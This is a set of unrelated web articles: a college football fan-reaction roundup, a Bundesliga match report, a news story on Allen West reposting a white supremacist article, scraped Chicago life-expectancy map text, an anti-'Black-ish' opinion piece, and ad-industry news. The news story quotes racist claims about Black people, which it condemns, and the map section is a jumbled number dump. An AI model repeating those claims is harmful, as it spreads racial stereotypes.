Yeah, you'll definitely want to memorialize this season
Overtimes happen. Michigan wins.
Well at least it's not as bad as what just happened to Georgia
And this man may be dying, or may already be in hell:
I'm sick...really Dear Northwestern Wildcats – You are killing me. I am not kidding. My blood pressure is 164/97… Pulse is dangerously fast… Family is saying that they will sue Northwestern if I die watching a game. Just took emergency blood pressure meds… Family is starting to think I have a death wish because I refuse to miss a Northwestern game… The Nebraska game almost killed me. After this game, I’ve one foot in the grave and another on a banana peel. Family noted that they are glad that "Are you a Northwestern Fan?" isn’t on insurance applications. I’m having an existential crisis here… Maybe I’m actually dead and wound up in Hell. Or maybe I can’t die – even with my blood pressure spiking. Family is starting to think I’m insane for being a Northwestern fan. That’s probably true. But I plan on watching the next game anyway.
As for Rodger, he wrote this:
People say things like "this is the worst football game I've ever watched" a lot. But I genuinely think this was the worst football game I've ever watched in regulation. … Of course, because there's a god of football and he hates us all and wants us to be unhappy, Michigan ran a awful, terrible two-minute drill, and somehow managed to have their holder slide in for a game-tying field goal to make it 9-9 going into overtime. Yes, we had to watch another Northwestern overtime game. Then we had to watch a Northwestern double overtime game. Then we had to watch a Northwestern triple overtime game.
And ate pudding looking like this:
This is @rodger_sherman drowning his sadness in pudding. pic.twitter.com/NOQuZIjYcA — sir broosk (@celebrityhottub) November 17, 2013
And everyone was sad. It's not your fault, Rodger.
Finally:
I’m going to go decapitate a house cat and leave the head on Pat Fitzgeralds lawn. It seems like the most rational thing to do at this point.
They probably should just abandon the idea of college football in Illinois entirely at this point.
Dana Holgorsen is Derek Dooley with bad hair.
Big Twelve
The hot bag of garbage that is Kansas snapped its epic conference losing streak on Saturday, and whoever that happened to is going to go nuclear. So come on down, West Virginia.
Oh man no.
"@ronwrightwanabe Dana Holgorsen is Derek Dooley with bad hair — Brian Hartman (@BrianH618) November 16, 2013
Holgorsen should shave his head or get a hat. Also, apparently his buyout is $11 MILLION. Whoa. — Blake (@blakekresge) November 16, 2013
Leave the man's hair alone, Twitter. Unless you want to destroy the rest of the national monuments, too, you Ron Swanson, you.
You can tell when things get bad at WVU when people start pining for Rich Rodriguez. This one brings unusual flavor to the party:
Why I miss Rich Rod... I was his dog trainer, and would meet with them, well mostly Rita once a week. I'm not gonna lie, they have paid the most out of all of my clients. I miss it. Too bad Dana doesn't have a dog.
wvuweaponX: Warning. You're leaving an awful lot to the imagination for this board.
This is especially selected to force Orson to lay down with palpitations:
Will Muschamp is exactly who I feel we need as a coach at WVU He's going to be fired at Florida after they killed by FSU on the 30th. Great defensive mind that has coached in the conference before and knows how to recruit key areas like Florida, Georgia, and Alabama.
And banghead.gif:
Well, WVU leads the Big 12 Conference in Excuses.
Rutgers, Marshall and MAC teams would beat WVU this year, even though none of those have won against the Mountaineers since 1949.
But we are NO. 1 -- in excuses.
Spare me. Just win the damn ball games.
It's Kansas. The only time there's crying in football is when you lose to Kansas. It happens about every 3 years or so.
In response:
I, too, am fed up with excuses. Our coach sounds like obama (sic). He continues to come across as immature, and shows less leadership than the AFLAC duck.
That guy just deployed (sic) on something he wrote. Bro, do you even edit?
Always look on the bright side of life:
wear black to the last home game as a sign of protest for a dying program wvuweaponX: Typically, I'd ridicule these types of threads but I think this is an unmistakable message plus, it gets fans to the game. llllllllll: I think everybody should come in wearing Pitt apparel to symbolize what is at the end of the path that this program is on. That would really get some attention.
Texas got run out of the building by Oklahoma State in a harsh reality check after scooting out to an undefeated, if obviously fortunate, start to their Big 12 season. When not evaluating coaching candidates (Wisconsin's Gary Andersen is the commentariat's favorite), Barking Carnival is threatening old people:
Bummer of a game, but unlike the BYU liver punch, my blood pressure never broke 120/80. I know this because I watched the entire game at a Walgreen's pharmacy on my iPad, my arm wrapped in a free screening pressure cuff, eating Mike & Ikes. When old people rolled up on their Hovarounds to test their own blood pressure on the machine that I dominated for three plus hours, I shooed them away by throwing their medicine into the diarrhea aisle and telling them to register any complaints on the Health & Human Services website.
Texas, you're back. We've missed you.
Pac-12
Stanford made their loss to Utah a lot less inexplicable by empowering Coach O to run around with a sword (THOUSANDS DEAD IN BIGFOOT RAMPAGE – LA Times) after USC beat them. Now comes the hard part: trying to understand Stanford fans.
I still think we'll be a winning team next year, but can't see any way we'll be elite. Do we regress to the mean now and go through cycles of somewhat strong seasons interspersed with poor seasons? In other words, did we just finish the Good Old Days?
Regress to the what lol.
…this loss hurts and it literally made me lose sleep last night, but the sky isn't falling. Try to be positive!
I mean…
I'd rather play the LA teams every year then every other. I don't mind a incredibly tough schedule. It's given us some great football so far this season.
I hate you, Stanford fans. Not because you're bad people. Because your internet is sane. This is not the internet the rest of us know. I am going to point some laser pointers at your chest, and then see how you feel.
Cal lost to Colorado, confirming themselves the worst team in the league and making it a bad week for West Coast nerds everywhere. Cal fans are usually in the tweed jacket and bubble pipe category, but even in year one this is too much for some:
I want firings. I don’t care who, but the defensive staff gets top billing above all else.
atomsareenough: You know, I’ve come around. This game finally did it. The fans need a scalp. Auricursine: Isn’t bloodlust something???
I want the kids to do well, but this year is like an undisciplined classroom under a rookie teacher with no training.
Well, everything is looking up. since we are flat on our backs.
Yes. Come to the darkside, nerds of the Bay Area. Go Cal! (You're going to die.)
SEC
South Carolina actually won, because they were playing Florida, and Florida is SEC Michigan, but at one point things looked grim and this child embodied the last three months of my life:
Speaking of Florida, teams are now getting their kicks on the lifeless body.
Via bullg8rdaddy
There is only one logical response:
Gators Should Stop Playing "Fair" One thing I'm tired of as a fan is Florida trying to be above the fray when it comes to NCAA rules. Screw the NCAA!. I don't care if players use drugs or sell autographs. Talent should only come off the field for very good reasons. The fact that we had Cam Newton sitting behind Tebow and lost him over a stolen laptop and maybe some classroom cheating makes me sick. So, the kid just plays Juco for a year, and then any other university can recruit him. What kind of rules are these? We should have paid hush money to the victim of the laptop theft, ignored any cheating in the classroom by Newton, and enjoyed another Heisman winner and won more games. Instead, we were left with Brantley and the "3-bow" offense.
Things have to change. In most jobs in the US, there are not drug tests performed on employees throughout the year. They're usually only performed pre-hire or after a workplace injury. Also, why should anyone else in society be able to make money based on any fame they obtain, but college athletes are forbidden to do so? Even Olympic athletes can earn money from endorsements.
I was going to make fun of this but now I think this guy could take Mark Emmert in a debate.
NEXT WEEK: Nothing of interest happens in the ACC except Duke going 9-2 to make you feel horrible about your team! Baylor! Oklahoma State! #pray4scoreboards! Northwestern leads MSU late, loses in improbable fashion! Illinois versus Purdue! Cal loses to Stanford by 80! Does Georgia Southern Have a chance against Florida? Maybe!
More from SB Nation college football:
Follow @SBNationCFBFollow @SBNRecruiting
• Full Week 13 TV schedule, including five ranked games
• Start hot: this week’s best stats in The Numerical
• TWIS: Georgia fans react to Auburn’s insane Hail Mary
• Bowl projections: Bama-FSU, Clemson-Wisconsin and more
• Long CFB reads | Has Baylor crafted the ultimate football offense? |
Robert Lewandowski scored his 12th Bundesliga goal of the season for Bayern
Bayern Munich will head into the winter break three points clear at the top of the Bundesliga following an emphatic win over second-placed RB Leipzig.
Goals from Thiago and Xabi Alonso put the home side firmly in control before Leipzig's Emil Fosberg saw red for a nasty foul on Philipp Lahm.
Robert Lewandowski made it 3-0 from the penalty spot after Leipzig goalkeeper Peter Gulasci had fouled Douglas Costa.
Lewandowski was denied twice as Leipzig kept Bayern at bay after the break.
It is just a second league loss of the season for Leipzig, who are in their debut Bundesliga campaign.
Formed in 2009 when drinks manufacturer Red Bull bought the licence of amateur club SSV Markranstadt and changed their name, Leipzig have achieved four promotions in seven years to reach the German top flight.
Under coach Ralph Hasenhuttl, they won 11 of their first 15 matches, including a victory over last season's runners-up Borussia Dortmund.
Emil Forsberg has been superb for Leipzig this season, scoring five goals and providing eight assists
However, they were emphatically put in their place by the reigning champions, who were fortunate not to fall behind early on when Yussuf Poulsen failed to connect with Timo Werner's low cross, but after that were irresistible.
Thiago had a simple job in finding an empty net from close range after Lewandowski's shot had struck the post.
Costa struck the upright from an angled strike but the home side would not be denied a second goal for long as Alonso drove home from inside the box after collecting a pass from the scorer of the first.
It was 3-0 and game over before the break as Costa was tripped in the box by Gulasci after running clear of the defence to collect Mats Hummels ball over the top.
Lewandowski converted from the spot and could have had a hat-trick but with just the keeper to beat on two separate occasions in the second half the Polish striker came off second best.
Gulasci was beaten again late in the game but substitute Franck Ribery's fierce strike from inside the box struck the crossbar and bounced on the goal-line before being cleared. |
Allen West posted the racist American Renaissance article to his website before Dave Agema shared it on Facebook.
Photo by Alex Wong/Getty Images
Former Republican Rep. Allen West posted a white supremacist article last December, and it’s helped create a huge headache for the RNC.
On Dec. 29, West pasted the text of a story called “Confessions of a Public Defender” on his website. That story was originally published at American Renaissance, a white supremacist magazine helmed by Jared Taylor, who seems to feel that “[w]hen blacks are left entirely to their own devices, Western civilization — any kind of civilization — disappears.”
West gave the American Renaissance story a ringing endorsement.
“It will take you only 5 minutes to read this article—and I would bet you’ll read it again,” he wrote on his site. “Then ask yourself, is this something you hear Al Sharpton addressing? Or President Obama, Eric Holder, Jeh Johnson or Jesse Jackson?”
“The facts and observations in this are not shocking to me,” West continued. “They are quite well known, but the manner in which the writer so eloquently presents them is quite commendable.”
Here are some of the “facts and observations” in the story West shared, which was written by a guy, using a pseudonym, who claims to be a public defender:
“[E]verything I say to blacks must be at about the third-grade level. If I slip and use adult language, they get angry because they think I am flaunting my superiority.”
“Blacks…live in the here and the now and are unable to wait for anything.”
“Most blacks are unable to speak English well. They cannot conjugate verbs. They have a poor grasp of verb tenses. They have a limited vocabulary. They cannot speak without swearing.”
“Blacks often make bad witnesses.”
“It is my firm belief many black [sic] are unable to discuss the evidence against them rationally because they cannot view things from the perspective of others.”
And on and on and on. West pasted the full text of the story on his site without any caveat suggesting he disagreed with any of its contents. He did, however, say this: “I’m quite sure the progressive social left will criticize me for sharing this article—that’s just who they are—they hate the truth.”
As it turns out, many on the conservative right also hate the truth. After Dave Agema, the RNC committeeman for Michigan, shared the story on his Facebook page, many prominent Michigan and national Republicans called for him to step down or renewed their calls for his resignation. (He’s put lots of other bigoted stuff on his Facebook page, and RNC Chairman Reince Priebus called for him to resign last January.)
Agema is now using West’s distribution of the article to defend himself, per MLive. He noted that West “is himself black.”
Agema’s battle with the RNC has drawn substantial media coverage. The committee’s top officers voted Wednesday to censure him, as reported in the Detroit Free Press, and are pushing the Michigan Republican Party to find a way to give him the boot.
Allen West isn’t the only prominent conservative figure wrapped up in the Agema issue. Mitt Romney’s niece, Ronna Romney McDaniel, is the committeewoman from Michigan, and she hasn’t denounced Agema yet. Agema endorsed Mitt Romney in the 2011 Michigan Republican presidential primary and was on his Michigan leadership team. Michigan’s Republican Gov. Rick Snyder has criticized Agema’s statements but also hasn’t said he should resign. And last weekend the national political director for Sen. Rand Paul’s RANDPAC spoke at a Tea Party event that Agema keynoted. Heritage Action and the Mackinac Center for Public Policy both withdrew their sponsorship of that event because of Agema’s involvement. |
Chicago Average life expectancy: 78 Health authorities in Chicago spotted an unusual pattern: Life expectancy defied income in a number of neighborhoods, possibly because of the influx of immigrants who tend to live longer than native-born Americans. “We look at life expectancy to help us identify where the problems are,” said Dr. Julie Morita, the city’s health commissioner. “So when we have resources available we can direct them to where the need is greatest.”
The Near North Side and the Loop, affluent downtown neighborhoods with median income of over $80,000 have the highest life expectancy in Chicago. Rogers Edison Park Park 80 81 77 83 North Park 80 81 O’Hare 84 80 International 80 O’Hare Airport 82 Uptown 81 76 Portage 80 Park 81 82 80 80 80 80 80 Lincoln Park In racially diverse Hyde Park 70 percent of residents have a bachelor’s degree or higher and life expectancy is 13 years longer than in Washington Park to the west. There, residents are almost all black and just 15 percent have a bachelor’s degree or higher. 80 80 West Garfield Park residents are 97 percent black, nearly 50 percent of households have an income of less than $25,000, and the neighborhood is tied for lowest life expectancy in Chicago. 81 Humboldt 80 85 Park 72 75 Loop Near West Side 72 69 85 79 72 81 81 82 82 80 74 80 South Lawndale, a low-income area in the western part of the city that is mostly Hispanic, has a life expectancy of 82, higher than even of some of the city's most affluent areas. 74 81 74 79 74 70 81 Washington 79 Garfield Ridge 82 81 Park 80 69 Clearing 75 71 70 Chicago 77 81 Lawn South Shore 71 75 72 Auburn 78 75 Gresham 73 74 73 Calumet 72 Heights 75 77 81 76 78 Roseland 80 73 South Deering 75 76 West Pullman 72 77 76 77 83 81 84 80 O’Hare 80 82 81 76 81 82 80 Near North Side 80 81 80 85 75 72 West Garfield Park 69 85 79 72 81 81 82 South Lawndale 82 Hyde Park 80 74 81 70 79 74 81 82 79 69 80 77 75 70 81 75 71 72 75 73 78 74 73 72 77 75 81 78 73 80 75 76 72 77
There’s a 13-year gap in life expectancy between Hyde Park and it’s neighbor to the west. Hyde Park is racially diverse, but well educated — 70 percent have a bachelor’s degree or higher. Washington Park is almost entirely black, and just 15 percent have a bachelor’s degree or higher
West Garfield Park residents are 97 percent black, nearly 50 percent of households have an income of less than $25,000, and the neighborhood is tied for lowest life expectancy in Chicago.
South Lawndale, a low-income area in the western part of the city that is mostly Hispanic, has a life expectancy of 82, higher than even of some of the city's most affluent areas. |
The 2016 NFL season became known for the intermingling of football and politics. So, it should come as no surprise that only one week into 2017, that unholy alliance once again reared its ugly head.
On Saturday afternoon, the Texans and Raiders faced off in the wild-card round of the NFL playoffs. The game pitted a third string quarterback making his first start against a monumentally overpaid free agent who was recently benched before getting his job back due to injury. If that alone didn’t make you want to turn the channel, during the game ABC ran a promo for this week’s upcoming episode of the sitcom “Black-ish.”
The theme for the next edition of “Black-ish” is a 30-minute Trump-lamenting tirade promoted as, “the election through the eyes of Black-ish.” Needless to say, the “eyes of Black-ish” did not smile in the aftermath of the election:
At least they’re being upfront about their naked ambition to use this episode to create a Twitter firestorm. Some fire storming already ensued on Twitter after Trump supporters saw the promo on Saturday:
Why does the @NFL keep playing a anti-Trump commercial for the terrible show Blackish? They must not know their audience #MAGA #HillaryLost — WolvesandSheep (@mikechilden) January 8, 2017
No one watch #blackish. Not everyone who voted for Trump is a racist. That show caters to the lowest common denominator. How insulating #ABC — Matt Falk (@therealmjf1) January 7, 2017
Man, #Blackish looks so original! A Trump voter isn’t racist because she has black friends! Can’t wait to never watch a second of that show. — Steve James (@BigBuckeye24) January 8, 2017
The show probably hopes the President-elect will throw some gasoline on their Twitter firestorm by tweeting about the episode. After all, he has tweeted about “Black-ish” before:
How is ABC Television allowed to have a show entitled “Blackish”? Can you imagine the furor of a show, “Whiteish”! Racism at highest level? — Donald J. Trump (@realDonaldTrump) October 1, 2014
I sincerely hope Trump doesn’t tweet about the episode. “Black-ish” clearly intends to profit through demeaning Trump voters with every insulting stereotype under the sun. Having Trump, albeit unintentionally, adding to the show’s success and impact by tweeting about it would just be gross. The “Boycott the NFL” movement got some serious traction this year thanks to the antics of Colin Kaepernick and others. The best thing conservatives could do on Wednesday night is boycott “Black-ish” as well.
Follow Dylan Gwinn on Twitter: @themightygwinn |
USAA, the largest provider of insurance and other financial products to U.S. military members, has consolidated its marketing business with a cluster of Publicis Groupe agencies after a formal review that lasted several months. Starting in the second quarter of 2017, all USAA work currently handled by other agencies will be transitioned to the Publicis umbrella group.
The news comes less than a year after a scandal involving a racist email sent by an executive at USAA's former agency of record, Campbell Ewald, made international headlines and inspired a new round of conversations about diversity in the advertising industry.
Earlier this year, Publicis Groupe announced it would transition to a more collaborative model, and several of its shops will work on the USAA business. Saatchi & Saatchi will lead creative with Razorfish on digital, Prodigious on content marketing, MSLGroup handling public relations, and Mediavest | Spark running media buying and planning for the client.
USAA's announcement also includes a pledge that 30 percent of all staffers working on the business come from "diverse communities," making it the latest in a series of companies including General Mills, HP and Verizon to make specific diversity demands of its agency partners.
"Publicis Groupe is the right fit with USAA's culture, sharing our passion for serving America's military community and belief in the value of diverse perspectives," said senior vice president for marketing and communications Roger Adams in a statement. "Their integrated service offering and approach to diversity perfectly complement our team at USAA. We will be better equipped to deliver integrated and impactful communications to our employees, members, prospective members and community partners."
Publicis Groupe chairman and CEO Maurice Lévy said that for USAA, his company "delivered a customized strategy and program that demonstrated the positive impact of this new organization under one client leader who can leverage all our capabilities and competencies." The group handling the account will spread across three separate holding company "hubs" including Publicis Communications, Publicis.Sapient and Publicis Media. USAA also has retained WME | IMG to promote sponsorship-related events like the annual Army-Navy football game.
USAA spent approximately $146 million on paid media in the U.S. in 2015, per Kantar Media.
The past year has brought unexpected controversy to the USAA organization. In January, the group abruptly terminated its eight year contract with former AOR Campbell Ewald after Adweek's AgencySpy blog brought to light a racist email scandal. The site published an internal all-staff message from a white creative director promoting a "Ghetto Day"-themed agency party late last year. Later the same week, USAA ended its relationship with Campbell Ewald, and parent company IPG fired agency CEO Jim Palmer.
USAA subsequently sent its marketing business to fellow IPG shop MullenLowe, which will no longer work on the account as of the second quarter of 2017.
Publicis Groupe's "The Power of One" approach has recently factored in several winning pitches, most prominently Walmart. The retail giant consolidated its marketing business with Publicis this summer, ending a nine-year relationship with The Martin Agency. |
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